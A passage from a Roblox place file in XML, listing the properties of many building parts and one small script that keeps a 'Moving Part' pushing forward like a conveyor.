						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>233</X>
							<Y>1.60000002</Y>
							<Z>44</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>10</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1638">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>224</X>
							<Y>1.60000002</Y>
							<Z>57</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>18</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1639">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>233</X>
							<Y>5.79999971</Y>
							<Z>48</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>6</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1640">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>234</X>
							<Y>1.60000002</Y>
							<Z>61</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>10</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1641">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>224</X>
							<Y>1.60000002</Y>
							<Z>61</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Moving Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>18</X>
							<Y>2.4000001</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX1642">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">--&#167; Rhino1004 &#167;

while true do
script.Parent.Velocity = script.Parent.CFrame.lookVector *10
wait(0.1)
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1643">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>234</X>
							<Y>5.80000019</Y>
							<Z>57</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>6</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1644">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>234</X>
							<Y>5.79999971</Y>
							<Z>65</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>6</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1645">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>214</X>
							<Y>1.60000002</Y>
							<Z>61</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>10</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1646">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>224</X>
							<Y>1.60000002</Y>
							<Z>65</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>18</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1647">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>234.5</X>
							<Y>10</Y>
							<Z>61</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>2.4000001</Y>
							<Z>10</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1648">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>246</X>
							<Y>3.38736415</Y>
							<Z>79</Z>
							<R00>1</R00>
							<R01>-1.81353261e-008</R01>
							<R02>-1.64428167e-016</R02>
							<R10>1.81353261e-008</R10>
							<R11>1</R11>
							<R12>1.81353261e-008</R12>
							<R20>-1.64461889e-016</R20>
							<R21>-1.81353261e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">512</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-3.24463407e-008</X>
							<Y>5.46539169e-020</Y>
							<Z>3.24463407e-008</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-1.05038723e-007</X>
							<Y>0.000553607475</Y>
							<Z>-1.05038723e-007</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>6</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1649">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>229.5</X>
							<Y>2.9000001</Y>
							<Z>82.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1650">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>221.5</X>
							<Y>2.9000001</Y>
							<Z>82.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1651">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>229.5</X>
							<Y>2.60000014</Y>
							<Z>87</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1652">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>221.5</X>
